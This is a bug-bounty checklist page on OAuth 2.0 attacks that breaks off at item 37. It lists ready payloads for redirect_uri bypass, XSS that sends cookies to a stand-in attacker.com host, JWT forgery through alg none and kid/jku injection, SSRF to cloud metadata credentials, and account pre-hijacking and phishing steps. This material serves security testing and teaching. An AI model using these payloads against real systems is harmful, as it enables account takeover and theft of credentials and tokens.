βœ… M01: REGISTRATION  |  βœ… M02: PASSWORD RESET  |  β–Ά M03: OAuth 2.0 β€” COMPLETE EDITION  |  M04: COMING β–Ά
// MISSION 03 β€” COMPLETE EDITION //

πŸ”‘ OAuth 2.0 β€” COMPLETE
BUG HUNTER'S MASTER CHECKLIST

[ 51 VULNERABILITIES Β· 10 PHASES Β· 12 CHAIN ATTACKS Β· EVERY KNOWN OAUTH ATTACK VECTOR ]
51
VULNERABILITIES
10
PHASES
12
CHAIN ATTACKS
100%
OAUTH COVERAGE
🎯redirect_uri Bypass
πŸ”—Open Redirect Chain
πŸ“‘Token Leakage
πŸ’₯HPP + XSS + Scope
🧠Logic & Pre-Hijack
πŸ”JWT / Token Attacks
πŸ—οΈPKCE / OIDC / SSO
πŸ›‘οΈRecon & Discovery
πŸ“±Mobile & SPA Attacks
βš™οΈAdvanced Protocol
P1: REDIRECT_URI P2: OPEN REDIRECT P3: TOKEN LEAK P4: HPP+XSS+SCOPE P5: LOGIC/PRE-HIJACK P6: JWT/TOKEN P7: PKCE/OIDC/SSO P8: RECON P9: MOBILE/SPA P10: ADVANCED CHAINS ALL 51 VULNS
// COMPLETE OAuth CHECKLIST PROGRESS β€” ALL 10 PHASES 0 / 70+ CHECKS DONE
0
REDIRECT
0
OPEN REDIR
0
TOKEN LEAK
0
HPP/XSS
0
LOGIC
0
JWT/TOKEN
0
PKCE/OIDC
0
RECON
0
MOBILE/SPA
0
ADVANCED
PHASE 01
REDIRECT_URI BYPASS β€” Steal the Authorization Code
Reports #1,#2,#5 Β· All URI manipulation techniques
#01
Path Traversal & Folder Escape Bypass
CRITICALTRAVERSALHackerOne Reports #1,#2
SCENARIO
Server validates redirect_uri prefix only ("starts with trusted.com") β€” path traversal escapes the allowed path to attacker domain.
// EXECUTION CHECKLIST
  • Intercept OAuth authorization request β†’ find redirect_uri= parameter
  • Try: https://trusted.com/callback/../../attacker.com
  • URL-encoded: https://trusted.com/callback/%2E%2E%2F%2E%2E%2Fattacker.com
  • Double-encoded: https://trusted.com/%252E%252E%252Fattacker.com
  • Monitor VPS/Burp Collaborator β€” did authorization code arrive in request logs?
  • Exchange captured code at /token endpoint β†’ get access_token β†’ use to login as victim

"The server checks WHERE the URI starts. It never checks where it ENDS. Traversal exploits the gap between what the validator reads and what the browser actually visits."

#02
Character Injection: @, #, \, Null, Backslash
CRITICALCHAR INJECTIONReport #5
SCENARIO
URL parser ambiguities between OAuth server and browser β€” inject special characters to make server see "trusted.com" while browser goes to "attacker.com".
// ALL CHARACTER BYPASS VARIANTS
  • @ injection: https://trusted.com@attacker.com (trusted.com = username, attacker.com = host)
  • Fragment #: https://trusted.com%23.attacker.com (validator stops at #, browser continues)
  • Backslash: https://trusted.com\@attacker.com and https://trusted.com\/attacker.com
  • Null byte: https://trusted.com%00.attacker.com
  • Port confusion: https://trusted.com:80@attacker.com
  • Unicode: https://trustedβ€€com (U+2024 ONE DOT LEADER instead of period)
  • Triple slash: https:///attacker.com or https://trusted.com///attacker.com

"URL parsers are inconsistent across languages. What PHP reads as trusted.com, Node.js reads as attacker.com. Find the parser mismatch and you own the redirect."

#03
Subdomain Confusion & Wildcard Abuse (Report #12)
CRITICALWILDCARD
SCENARIO
Server allows *.trusted.com β†’ any subdomain (including takeover candidate or XSS-vulnerable one) can receive the OAuth code.
// EXECUTION CHECKLIST
  • Test: https://attacker.trusted.com β€” is wildcard subdomain accepted as redirect_uri?
  • Enumerate all subdomains: subfinder -d trusted.com | amass enum | dnsx
  • Find dangling CNAME β†’ take over subdomain (Heroku, Netlify, GitHub Pages, S3)
  • Find XSS-vulnerable subdomain β†’ use it as redirect_uri β†’ XSS executes with code in URL
  • Check: https://trusted.com.attacker.com β€” suffix confusion accepted?

"*.trusted.com means every subdomain is a door. Find one vulnerable subdomain and you've turned a Medium into a Critical OAuth ATO β€” without touching the OAuth server."

#04
Loose Regex / String Match Bypass
CRITICALREGEX BYPASSWAS MISSING
SCENARIO
Server uses weak regex like contains("trusted.com") or startsWith("https://trusted") β€” trivially bypassed.
// EXECUTION CHECKLIST
  • Test contains match: https://attacker.com?x=trusted.com (trusted.com appears in URL)
  • Test prefix match: https://trusted.com.evil.com
  • Test suffix match: https://evilTrusted.com (ends with trusted.com?)
  • Add path: https://trusted.com/allowed/../../../attacker.com
  • Check discovery doc at /.well-known/oauth-authorization-server β†’ look for redirect_uris_supported pattern

"A regex that checks if 'trusted.com' appears ANYWHERE in the URI is a regex that can be bypassed by putting trusted.com in the query string of attacker.com."

PHASE 02
OPEN REDIRECT CHAIN β€” Use the App Against Itself
Reports #3,#4,#6 Β· Chain internal redirect bugs
#05
Open Redirect as redirect_uri (Reports #3, #4)
CRITICALREDIRECT CHAIN
SCENARIO
OAuth server validates redirect_uri strictly β€” but trusted.com itself has an open redirect. Use that open redirect URL as the redirect_uri β€” server approves (same domain), then code relays to attacker.
// EXECUTION CHECKLIST
  • Hunt open redirect on main site β€” test: ?redirect= ?next= ?url= ?return_to= ?goto= ?dest=
  • Confirm redirect: https://trusted.com/login?next=https://attacker.com β†’ follows to attacker?
  • Set OAuth redirect_uri to: https://trusted.com/login?next=https://attacker.com
  • OAuth server validates β†’ approves (trusted domain) β†’ sends code β†’ open redirect fires β†’ attacker gets code
  • Also test: JS files, error pages, logout endpoints with redirect params on trusted.com
OAuth Server β†’ trusted.com?next=attacker.com β†’ Open Redirect fires β†’ attacker.com?code=XYZ β†’ Exchange β†’ Full ATO

"An open redirect on trusted.com is the master key. The OAuth server trusts the domain, not the destination. I just need to find any door that opens outward."

#06
Subdomain Takeover β†’ OAuth Code Capture
CRITICALTAKEOVER
SCENARIO
Find dangling subdomain DNS (CNAME to unregistered service). Register that service. Subdomain now serves attacker content. Use it as redirect_uri β€” OAuth approves it.
// EXECUTION CHECKLIST
  • Run: subfinder -d trusted.com | dnsx -cname β†’ find dangling CNAMEs
  • Identify service: Heroku? GitHub Pages? Netlify? S3? Azure? β†’ register that asset
  • Confirm takeover: visit subdomain β†’ shows attacker-controlled content
  • Host token-capture script on subdomain β†’ use as redirect_uri in OAuth
  • Send crafted OAuth login link to victim β†’ code lands on attacker-controlled subdomain

"Subdomain takeover alone = Medium. Subdomain takeover + OAuth redirect = Critical ATO. Always chain them. One bug turns another into a jackpot."

#07
Post-Auth State Redirect Manipulation
HIGHSTATE ABUSEWAS MISSING
SCENARIO
State parameter encodes a post-login redirect URL. Manipulate state to redirect victim to phishing page after successful OAuth login β€” they fully trust it.
// EXECUTION CHECKLIST
  • Decode state parameter: base64_decode(state) β†’ look for {"redirect":"https://app.com/dash"}
  • Modify redirect value β†’ attacker.com β†’ re-encode β†’ replace state in OAuth URL
  • Test: ?returnUrl= ?next= ?continue= appended AFTER callback URL
  • Send crafted link to victim β†’ after OAuth β†’ they land on attacker phishing page
  • Serve fake "Session expired, re-enter password" page β†’ harvest real credentials

"The victim just finished a legitimate login flow. They trust the destination completely. The phishing page that opens is considered 'the app' by the victim. Highest-trust phishing vector."

PHASE 03
TOKEN & CODE LEAKAGE β€” Passive Token Theft
Reports #7,#8 Β· Referer Β· Analytics Β· Logs Β· Fragments
#08
Referer Header Code Leak via 3rd-Party Resources
HIGHREFERER LEAKReports #7,#8
SCENARIO
After OAuth redirect, code is in URL. Callback page loads external resources β€” browser automatically sends full URL (with code) as Referer header to every external server.
// EXECUTION CHECKLIST
  • Complete OAuth flow β†’ land on callback page β†’ check URL for ?code=
  • In Burp: monitor ALL outgoing requests from callback page β†’ check Referer header on each
  • Check for: Google Analytics, Facebook Pixel, Mixpanel, HotJar, Segment β†’ each fires with full URL
  • Check outbound links: social icons, Help, Privacy β†’ click each β†’ inspect Referer sent
  • Check Referrer-Policy header β€” no-referrer-when-downgrade still leaks to HTTPS sites
  • If code leaks to analytics: document the 3rd-party domain as colluding party in report

"Every Google Analytics beacon that fires from the callback page sends the full URL β€” including the authorization code β€” to Google's servers. That's a reportable info disclosure."

#09
Implicit Flow β€” Fragment Token in JS Logs / Sentry
HIGHFRAGMENT LEAK
SCENARIO
Implicit flow puts access_token in URL fragment (#). Fragment doesn't go to server β€” but frontend JS may read window.location.href and send it to error tracking (Sentry, Bugsnag, LogRocket).
// EXECUTION CHECKLIST
  • Check: response_type=token β†’ token appears as #access_token=XYZ in URL
  • Check page JS β€” search for window.location.href or document.referrer passed to any analytics call
  • Monitor: Sentry.io, Bugsnag, LogRocket, Datadog RUM β€” do they receive the fragment?
  • Check browser history β€” does token persist in browser history after navigation?
  • Verify: does app call history.replaceState() to clean URL after reading token? If NOT β†’ exposure

"Implicit flow was deprecated in OAuth 2.1 for this exact reason. If you see response_type=token in 2024, it's a finding before you even test anything else."

#10
Token / Code in Server Access Logs
MEDIUMLOG EXPOSUREWAS MISSING
SCENARIO
Authorization code sent as GET parameter β†’ appears in web server access logs, proxy logs, CDN logs, and any server between client and app.
// EXECUTION CHECKLIST
  • Confirm code delivery method: GET param (?code=X) vs POST body β†’ GET = logs exposure
  • Check if any CDN (Cloudflare, Akamai) sits between user and app β†’ CDN logs store the code
  • Check if reverse proxy (nginx, Apache) logs the full request URI including query params
  • Test: request from code URL again after use β€” is code invalidated in <10 seconds?
  • Document: any party with log access (DevOps, SIEM tool, CDN team) can steal active codes

"GET parameters are logged everywhere β€” nginx, Cloudflare, your own SIEM. A short-lived code in server logs is a ticking bomb that anyone with log access can explode."

#11
Token Leak via Postman / API Documentation Pages
MEDIUMDOC LEAKWAS MISSING
SCENARIO
Developers publish Postman collections, Swagger docs, or API guides with real access_tokens or refresh_tokens as example values β€” still valid and usable.
// EXECUTION CHECKLIST
  • Search: site:github.com target.com access_token or site:docs.target.com authorization
  • Check Postman public workspaces: postman.com/target β†’ look for token examples
  • Search Swagger/OpenAPI docs for Bearer token examples β€” are they real tokens?
  • Try using found tokens: curl -H "Authorization: Bearer FOUND_TOKEN" https://api.target.com/me
  • Search GitHub: "target.com" "refresh_token" β€” in config files, .env, test files

"Developers copy-paste real tokens into docs 'just to test'. Those docs go public. That token stays valid for months. This is how you find pre-existing ATO."

PHASE 04
HPP + XSS + SCOPE β€” Protocol Confusion Attacks
Reports #9–#12 Β· Parameter pollution Β· XSS on consent Β· Scope escalation
#12
HTTP Parameter Pollution on redirect_uri (Report #9)
HIGHHPP
SCENARIO
Send two redirect_uri parameters. Validator reads the safe first one. Redirect handler uses the second (attacker) one. Code goes to attacker.
// ALL HPP VARIANTS
  • redirect_uri=https://trusted.com/cb&redirect_uri=https://attacker.com
  • Reversed: redirect_uri=https://attacker.com&redirect_uri=https://trusted.com/cb
  • Array: redirect_uri[]=https://trusted.com&redirect_uri[]=https://attacker.com
  • Comma: redirect_uri=https://trusted.com,https://attacker.com
  • JSON array (if JSON body): {"redirect_uri":["https://trusted.com","https://attacker.com"]}
  • Check which URL receives the code β†’ document which param position was used

"PHP uses last duplicate param. Node.js uses first. Ruby merges them. Test all orders β€” one framework's default behavior is your exploit."

#13
XSS via redirect_uri Reflection in Error / Consent Page (Report #10)
CRITICALXSS Β· TOKEN THEFT
SCENARIO
The redirect_uri value is reflected in the error page or consent screen HTML without sanitization β€” inject XSS payload to steal active session tokens.
// EXECUTION CHECKLIST
  • Submit invalid redirect_uri β†’ view page source β†’ does URI appear in HTML/JS?
  • Inject: redirect_uri=javascript:alert(document.domain)
  • If in href context: redirect_uri=https://x.com"><script>fetch('//attacker.com?c='+document.cookie)</script>
  • Try: redirect_uri=data:text/html,<script>alert(1)</script>
  • If XSS fires on consent page: steal document.cookie, localStorage tokens, session
  • Maximum impact: consent page XSS runs with highest-privilege session context β€” report as Critical

"XSS on an OAuth consent page is the most dangerous XSS in an application. The user just authenticated β€” their session is fresh, tokens are in memory, and they trust the page completely."

#14
Scope Escalation β€” Unauthorized Permission Grab (Report #11)
HIGHSCOPE ESCALATION
SCENARIO
Add undocumented or elevated scopes to OAuth request β€” server may grant them without showing on consent screen or validating against registered scopes.
// EXECUTION CHECKLIST
  • Find scope=read profile email β†’ add: scope=read write admin delete
  • Try: scope=* or scope=all (wildcard request)
  • Try: scope=offline_access β†’ requests persistent refresh token without user awareness
  • Introspect issued token: POST to /introspect or decode JWT β†’ check scope claim granted
  • Use elevated-scope token to call admin API endpoints β†’ confirm privilege escalation
  • Silent scope escalation: add new scope to already-approved app β†’ does server re-ask consent?

"The scope parameter is a shopping list. If the cashier doesn't check what you put in the cart, you walk out with admin access you never paid for."

#15
response_type Confusion Attack
HIGHRESPONSE TYPEWAS MISSING
SCENARIO
Mixing response_type values or using unexpected ones forces the server to respond with tokens in different locations β€” some bypassing PKCE or state checks.
// EXECUTION CHECKLIST
  • Test: response_type=token (implicit) β€” does server issue access_token directly in URL?
  • Test: response_type=code token (hybrid) β€” server issues both code AND token simultaneously
  • Test: response_type=code id_token β€” server issues OIDC id_token alongside code
  • With response_mode=fragment: token in # avoids server logs but leaks via browser
  • With response_mode=form_post: token sent as POST β†’ different handling path β†’ may bypass some protections

"Hybrid flows were designed for convenience. Convenience in OAuth always means attack surface. When you get both a code AND a token, the token has no PKCE protection."

PHASE 05
LOGIC & PRE-HIJACK β€” Break the OAuth Flow Logic
Reports #13–#24 Β· Pre-hijack Β· CSRF Β· Code reuse Β· Secret leak Β· Consent bypass
#16
OAuth Account Pre-Hijacking (Report #13)
CRITICALPRE-HIJACK
SCENARIO
Attacker registers with victim's email + own password BEFORE victim signs up via OAuth. When victim uses "Sign in with Google" (same email), accounts merge β€” attacker retains password access.
// EXECUTION CHECKLIST
  • Register account using victim's email + attacker's password (before victim has an account)
  • Leave account UNVERIFIED β†’ many sites allow unverified OAuth merge
  • When victim uses "Login with Google" β†’ test if accounts auto-merge by email match
  • After victim signs up via Google β†’ try logging in with attacker's original password
  • Also test CSRF variant: force victim to link attacker's Google to victim's account
  • Check: provider-specific variant β€” register via GitHub first, victim arrives via Google β†’ same email = merge?

"I register your email before you do. When you arrive with Google, the site says 'oh, this email already exists' and silently merges. Now we both own your account β€” but only I know the password."

#17
CSRF on OAuth Flow β€” Missing / Invalid State Param
HIGHCSRF Β· NO STATEReport #14
SCENARIO
State parameter absent or not validated β†’ attacker can complete OAuth flow in victim's browser context, linking attacker's identity to victim's account.
// EXECUTION CHECKLIST
  • Check OAuth request: is state= parameter present?
  • Modify state value β†’ does callback still succeed? = state not validated
  • Remove state entirely β†’ does callback still succeed?
  • CSRF PoC: start attacker OAuth flow β†’ capture callback URL β†’ force victim to visit it β†’ victim's account linked to attacker's identity
  • Test on account-LINKING endpoint specifically β€” often has weaker CSRF protection than initial login

"State is the CSRF token for OAuth. Without it, I can force your browser to complete my OAuth flow β€” linking my Google account to your app account. Then I login as you via Google."

#18
Authorization Code Reuse (Report #15)
HIGHCODE REUSE
SCENARIO
Authorization code should be single-use (used once β†’ burned). If not properly invalidated, attacker who captures code via log/referer can replay it hours later.
// EXECUTION CHECKLIST
  • Complete OAuth flow β†’ exchange code for token β†’ save code value
  • Exchange the SAME code again immediately β†’ does it return another token?
  • Wait 5 min, 30 min β†’ retry code β†’ what is actual expiry time?
  • Race condition: send 10 simultaneous token-exchange requests with same code β†’ any succeed?
  • RFC says: if used code detected as replay β†’ server MUST revoke all tokens from that code issuance β†’ test if it does

"An authorization code is a one-time bus ticket. The ticket inspector should tear it. If they just stamp it, I can ride the bus again β€” and again."

#19
client_secret Exposed in Source / GitHub / APK (Report #16)
CRITICALSECRET EXPOSURE
SCENARIO
client_secret hardcoded in JavaScript bundle, mobile APK, or public GitHub repo β€” anyone can impersonate the application and exchange any intercepted code for an access token.
// EXECUTION CHECKLIST
  • Search JS bundle: client_secret clientSecret CLIENT_SECRET oauth_secret
  • GitHub search: org:target client_secret | filename:.env oauth secret target
  • APK decompile: jadx target.apk β†’ search strings for secret values
  • Intercept token exchange request β†’ find client_secret in POST body or Basic Auth
  • With client_secret + intercepted code β†’ exchange yourself without any redirect needed

"The client_secret proves the app's identity to the OAuth server. When it's in the JavaScript bundle, every user has it. The secret has become a public fact."

#20
Predictable State / State Fixation (Report #18)
HIGHSTATE FIXATION
SCENARIO
State is predictable (timestamp-based, sequential, MD5 of email). Attacker predicts victim's state β†’ when victim completes flow β†’ attacker uses predicted state to claim the code.
// EXECUTION CHECKLIST
  • Collect 10 state values from rapid OAuth initiations β†’ analyze with CyberChef
  • Decode: base64? MD5? UUID version? Timestamp? Sequential integer?
  • If UUID v1: extract timestamp component β†’ predict next values
  • Test reuse: use an old state value in a new OAuth flow β†’ is state bound to session/nonce?
  • State fixation: inject your known state into victim's OAuth URL β†’ when their flow completes β†’ you get their code

"State is a nonce β€” it should be random and single-use. If I can predict it or reuse it, I can claim any OAuth callback that arrives with a state I know."

#21
Consent Screen Bypass via prompt=none
HIGHCONSENT BYPASSReport #17
SCENARIO
prompt=none designed for seamless SSO β†’ if server auto-approves ANY client (not just first-party) with this param, victim clicks a link and tokens are silently issued without consent.
// EXECUTION CHECKLIST
  • Add prompt=none to OAuth request β†’ does server skip consent screen and issue code directly?
  • Test with NEW scopes not previously granted β†’ still auto-approved with prompt=none?
  • Try: prompt=none&response_type=token β†’ silent token issuance via URL visit
  • Embed OAuth URL in img src or iframe β†’ victim's browser auto-fetches β†’ silent token grant
  • Check: login_hint param accepted? login_hint=victim@email.com&prompt=none β†’ targeted silent auth

"prompt=none was designed for first-party SSO. When it works for third-party apps, any page the victim visits can silently steal OAuth tokens by loading a hidden image tag."

PHASE 06
JWT & TOKEN ATTACKS β€” Forge, Mix, Persist
JWT alg confusion Β· Refresh abuse Β· Cross-provider mixing Β· Token introspection
#22
JWT Algorithm Confusion β€” none / RS256β†’HS256
CRITICALJWT FORGE
SCENARIO
Server trusts algorithm field in JWT header. "none" removes signature requirement. RS256β†’HS256 confusion: server verifies with public key as HMAC secret β€” a key you already have.
// EXECUTION CHECKLIST
  • Get valid JWT β†’ decode at jwt.io β†’ note algorithm and all claims
  • Test "none": change header to {"alg":"none","typ":"JWT"} β†’ remove signature β†’ send
  • Try case variants: None, NONE, nOnE, NoNe
  • RS256β†’HS256: get public key from /.well-known/jwks.json β†’ use as HMAC secret with HS256 signing
  • Forge claims: change sub=victim_id, role="admin", email=victim@email.com
  • Tools: jwt_tool -t (all attacks), python-jwt, jwtear

"The public key is in the discovery document β€” completely public. If the server uses it as an HS256 HMAC secret, I sign any token I want with a key I downloaded from their own website."

#23
JWT kid / jku / x5u Header Injection
CRITICALJWT INJECTIONWAS MISSING
SCENARIO
JWT headers contain URLs (jku, x5u) or paths (kid) that the server fetches to get the public key for verification. Inject attacker URL β†’ server fetches attacker's key β†’ accepts attacker-signed JWT.
// EXECUTION CHECKLIST
  • Decode JWT header β†’ look for: jku, x5u, kid fields
  • jku injection: change jku to https://attacker.com/jwks.json β†’ host your own JWKS there β†’ sign token with your private key
  • kid SQLi: kid: "' UNION SELECT 'attacker_secret'--" β†’ server uses SQL result as signing key
  • kid path traversal: kid: "../../../dev/null" β†’ empty key β†’ sign with empty string
  • x5u injection: same as jku but for X.509 certificate chains
  • Embed injected JWKS inside token itself: jwk header injection (embedded key)

"kid is the OAuth equivalent of SSRF. If the server fetches a URL from a JWT header without validation, you control the signing key by controlling the URL it fetches."

#24
Refresh Token Abuse β€” Persistence After Password Change
HIGHREFRESH ABUSE
SCENARIO
Stolen refresh token maintains permanent access if not revoked on password change, logout, or account deletion. Attacker keeps accessing victim's account indefinitely.
// EXECUTION CHECKLIST
  • Capture refresh_token from localStorage, sessionStorage, network request, or cookie
  • User changes password β†’ try refresh_token β†’ does it still yield new access_token?
  • User revokes app access in settings β†’ try refresh_token β†’ revoked server-side?
  • Test token rotation: use refresh_token β†’ get new pair β†’ try old refresh_token β†’ should be invalid
  • Send from different IP/User-Agent β†’ is refresh_token client-bound?
  • Test: use refresh_token from different client_id β†’ token not bound to client?

"A refresh token that isn't revoked on password change is a permanent backdoor. The user thinks they're safe. They changed their password. But I still have a key that works forever."

#25
Cross-Provider Token Mixing & aud Claim Bypass
CRITICALTOKEN MIXINGWAS MISSING
SCENARIO
App accepts tokens from Google + Facebook + GitHub but doesn't validate iss (issuer) or aud (audience) claims β€” use your own Google token against victim's Facebook-linked account.
// EXECUTION CHECKLIST
  • Get your own valid access_token from Provider A (e.g., Google)
  • Send it to Provider B's (Facebook) OAuth verification endpoint on the app
  • Check: does server validate iss claim? Does it validate aud matches its own client_id?
  • aud bypass: obtain access_token for a DIFFERENT app using same provider β†’ send to target app
  • If aud not validated: any Google token (including yours for different apps) works on target app

"aud (audience) means this token was issued FOR this specific application. If the server doesn't check it, my Gmail token for Google Calendar works on your banking app."

#26
Token Introspection Endpoint Information Disclosure
MEDIUMINFO DISCLOSUREWAS MISSING
SCENARIO
Token introspection endpoint (/introspect) reveals sensitive user data (email, roles, scopes) when called without proper authorization β€” any caller can enumerate token details.
// EXECUTION CHECKLIST
  • Find introspection endpoint from discovery doc: introspection_endpoint field
  • POST: token=ANY_TOKEN&token_type_hint=access_token β†’ does it return user data without auth?
  • Try with expired/invalid token β†’ does endpoint return verbose error revealing valid token format?
  • Call introspection for OTHER user's token using your auth β†’ cross-user data access?
  • Check revocation endpoint: POST to /revoke without auth β†’ can you revoke anyone's token?

"The introspection endpoint is a lookup service for tokens. If it doesn't require authentication, any attacker can enumerate valid tokens and read user data associated with them."

PHASE 07
PKCE / OIDC / SSO β€” Advanced Protocol Attacks
PKCE downgrade Β· ID token abuse Β· SSO CSRF Β· nonce bypass Β· RP confusion
#27
PKCE Bypass β€” code_verifier Downgrade / Omission
CRITICALPKCE BYPASS
SCENARIO
PKCE was designed to protect public clients. If server marks PKCE as optional or doesn't enforce code_verifier at exchange, any intercepted code can be exchanged without the verifier.
// EXECUTION CHECKLIST
  • Check if request includes code_challenge= and code_challenge_method=S256
  • Remove both params entirely β†’ does authorization proceed? PKCE not required?
  • At token exchange: omit code_verifier β†’ does server still return token?
  • Downgrade: send code_challenge_method=plain instead of S256 β†’ weaker, guessable
  • Send wrong code_verifier β†’ does server reject it? (Tests if PKCE is actually enforced)
  • PKCE bypass confirmed β†’ intercept any code (via referer/log) β†’ exchange without verifier = ATO

"PKCE is a padlock on the code exchange. If the server says 'PKCE optional', the padlock is decorative. Anyone with the code can exchange it β€” no key needed."

#28
OpenID Connect β€” nonce Missing / id_token Replay
HIGHOIDC Β· NONCEWAS MISSING
SCENARIO
OIDC nonce parameter prevents id_token replay attacks. If nonce is missing or not validated, attacker can replay a previously captured id_token to authenticate as victim.
// EXECUTION CHECKLIST
  • Check OIDC request: is nonce= parameter present in authorization request?
  • Capture your own id_token β†’ extract nonce claim from decoded JWT payload
  • Remove nonce from authorization request β†’ does server still issue id_token?
  • Replay old id_token β†’ does server accept it for a new session? (Replay attack)
  • Sub-claim abuse: does app trust sub claim from id_token without verifying it matches the access_token?
  • Mix id_token from one session + code from another β†’ does hybrid flow accept them together?

"The nonce binds the id_token to this specific login attempt. Without it, an id_token is like a signed blank check β€” valid for any authentication attempt, forever."

#29
SSO Account Linking CSRF β€” Forced Identity Merge
CRITICALSSO CSRFWAS MISSING
SCENARIO
Account linking endpoint ("Connect Google") has no CSRF protection. Attacker forces victim's browser to link attacker's Google account to victim's app account β€” attacker then logs in as victim via Google.
// EXECUTION CHECKLIST
  • While logged in, find "Connect social account" or "Link Google/GitHub" feature
  • Start account linking as attacker β†’ capture the OAuth callback URL with attacker's code
  • Force logged-in victim to visit attacker's captured callback URL
  • If no state validation: victim's account now linked to attacker's Google identity
  • Attacker clicks "Login with Google" β†’ authenticates as victim β†’ full ATO silently
  • Test: does victim receive ANY notification of new social account being linked? Should β†’ report if not

"Account linking is the most dangerous OAuth feature. I trick your browser into linking MY Google to YOUR account. Now I login as you via Google β€” permanently, invisibly."

#30
Relying Party (RP) Mix-Up Attack
CRITICALRP MIX-UPWAS MISSING
SCENARIO
App supports multiple OAuth providers. Attacker tricks client into sending a code issued by Provider A to Provider B's token endpoint β€” server doesn't validate which provider issued the code.
// EXECUTION CHECKLIST
  • App supports: Google + GitHub + Facebook β†’ identify all provider callback endpoints
  • Obtain authorization code from Provider A (Google) for attacker's account
  • Send Google code to app's GitHub callback endpoint: /auth/github/callback?code=GOOGLE_CODE
  • Check: does app send the code to GitHub's token endpoint? β†’ GitHub rejects (wrong provider) β†’ observe error handling
  • If confused: attacker's Google identity authenticated as victim's GitHub-linked account

"The client forgot which provider it was talking to. A code issued by Google can't be exchanged with GitHub β€” but a confused client will try, and the error may leak which account it was targeting."

PHASE 08
RECON & DISCOVERY β€” Map Before You Attack
Discovery docs Β· Client registration Β· Enumeration Β· Exposed configs
#31
OAuth Discovery Document Recon
RECONDISCOVERYWAS MISSING
SCENARIO
OAuth servers publish discovery documents exposing all endpoints, supported algorithms, features β€” full attack surface map in one GET request.
// RECON CHECKLIST β€” DO FIRST
  • Fetch: /.well-known/openid-configuration or /.well-known/oauth-authorization-server
  • Note: authorization_endpoint, token_endpoint, userinfo_endpoint, revocation_endpoint, introspection_endpoint
  • Check: grant_types_supported β€” if implicit listed β†’ Phase 3 token leak possible
  • Check: response_types_supported β€” hybrid flows? β†’ Phase 4 response_type confusion
  • Check: id_token_signing_alg_values_supported β€” RS256 listed? β†’ fetch JWKS for JWT attacks
  • Check: jwks_uri β†’ fetch JWKS β†’ download public keys for RS256β†’HS256 confusion attack
  • Check: request_uri_parameter_supported: true β†’ SSRF via JAR (JWT Auth Request) injection

"The discovery document is your reconnaissance report β€” delivered by the target. Before clicking anything, read it completely. Every supported feature is a potential attack vector."

#32
Dynamic Client Registration Abuse
CRITICALCLIENT REGWAS MISSING
SCENARIO
If OAuth server has open dynamic client registration (/register endpoint), attacker can register their own OAuth application β€” then use it to phish users or bypass redirect_uri restrictions.
// EXECUTION CHECKLIST
  • Check discovery doc for: registration_endpoint
  • POST to registration endpoint without auth: {"client_name":"evil","redirect_uris":["https://attacker.com"]}
  • If successful: you get a valid client_id + client_secret for your own registered app
  • Use your registered client to craft OAuth consent requests to real users β†’ LEGITIMATE-LOOKING phishing
  • Try registering with SSRF URIs: redirect_uris: ["https://169.254.169.254/latest/meta-data"]
  • Try: logo_uri, jwks_uri, policy_uri fields β†’ server fetches them β†’ SSRF

"An open client registration endpoint means I can register my own OAuth app on your server. I'm now a legitimate partner. My consent screen shows your branding. The phish is perfect."

#33
OAuth SSRF via request_uri / JAR Parameter
CRITICALSSRF Β· JARWAS MISSING
SCENARIO
OAuth 2.0 JAR (JWT Auth Requests) allows sending request parameters as a JWT from a URL (request_uri). Server fetches that URL β€” classic SSRF entry point into internal network.
// EXECUTION CHECKLIST
  • Discovery doc: request_uri_parameter_supported: true β†’ JAR enabled
  • Add to OAuth request: request_uri=https://attacker.com/evil.jwt
  • Monitor Burp Collaborator: does OAuth server make outbound request to your URL?
  • Pivot to internal: request_uri=http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Try internal services: request_uri=http://internal.corp/admin, http://localhost:8080
  • SSRF confirmed β†’ chain with cloud metadata endpoint to steal IAM credentials

"request_uri was designed to keep authorization requests short. Instead, it created an SSRF entry point directly into the OAuth server's internal network."

#34
Exposed .env / Config with OAuth Secrets
CRITICALSECRET RECONWAS MISSING
SCENARIO
Developers accidentally expose .env files, config files, or CI/CD logs containing OAuth client_id, client_secret, or admin tokens β€” directly exploitable for full account compromise.
// RECON CHECKLIST
  • Try: https://target.com/.env, /.env.local, /.env.production, /.env.backup
  • Try: /config.json, /config.yml, /appsettings.json, /application.properties
  • GitHub: org:target OAUTH_CLIENT_SECRET | org:target GOOGLE_CLIENT_SECRET
  • GitHub Actions logs: org:target filename:.yml client_secret
  • Try: /api/config, /api/env, /debug/config β†’ developer debug endpoints
  • Wayback Machine: web.archive.org/web/*/target.com/.env β†’ old exposed config

"The easiest bug is the one that's already waiting for you. Before touching any OAuth endpoint, check if the secrets were already left in a public .env file."

PHASE 09
MOBILE & SPA ATTACKS β€” Client-Side OAuth Weaknesses
Deep link hijack Β· postMessage leak Β· Clickjacking Β· Cache poisoning Β· form_post
#35
postMessage() Token Leakage in SPA / iframe
CRITICALpostMessage LEAKWAS MISSING
SCENARIO
SPAs that run OAuth in an iframe use postMessage() to pass tokens to parent window. If targetOrigin is "*" (wildcard), any page that embeds this iframe receives the token.
// EXECUTION CHECKLIST
  • In browser DevTools β†’ open Network tab β†’ look for postMessage calls during OAuth flow
  • In Console: window.addEventListener('message', e => console.log(e.origin, e.data)) β†’ capture all messages
  • Search JS bundle: postMessage β†’ check second arg β†’ is it "*" instead of specific origin?
  • Create attacker page with hidden iframe pointing to target app β†’ listen for messages: window.addEventListener('message', steal)
  • If token arrives in message event β†’ steal function exfiltrates to attacker.com
  • Also check: parent page validates sender origin? if(e.origin !== 'https://trusted.com') return; β€” if missing β†’ any origin can inject messages

"postMessage('*') is a broadcast to every window on earth. The developer thought only their own window was listening. Every iframe on every page that embeds them is also listening."

#36
Mobile Deep Link Hijacking β€” Custom URL Scheme
CRITICALDEEP LINK HIJACKWAS MISSING
SCENARIO
Mobile apps use custom URL schemes (myapp://callback) as redirect_uri. Any malicious app on the device can register the same scheme and intercept the authorization code.
// EXECUTION CHECKLIST
  • Decompile APK: jadx -d output/ target.apk β†’ find redirect_uri in OAuth config
  • Look for custom schemes: myapp://, com.target.app:// in AndroidManifest.xml intent-filters
  • Check: does OAuth server accept custom scheme as redirect_uri? β†’ most do for mobile apps
  • Register same custom scheme in a malicious app β†’ on same device β†’ OS delivers OAuth code to your app first
  • Correct fix: use HTTPS App Links (Android) / Universal Links (iOS) instead of custom schemes
  • PKCE mitigates this β€” verify: is PKCE enforced in mobile OAuth flow? If not β†’ full exploit chain works

"On Android, any app can claim any URL scheme. The OS picks one to handle it β€” usually the last installed. Install my app after the target and I intercept every OAuth code it receives."

#37
Clickjacking on OAuth Consent Screen
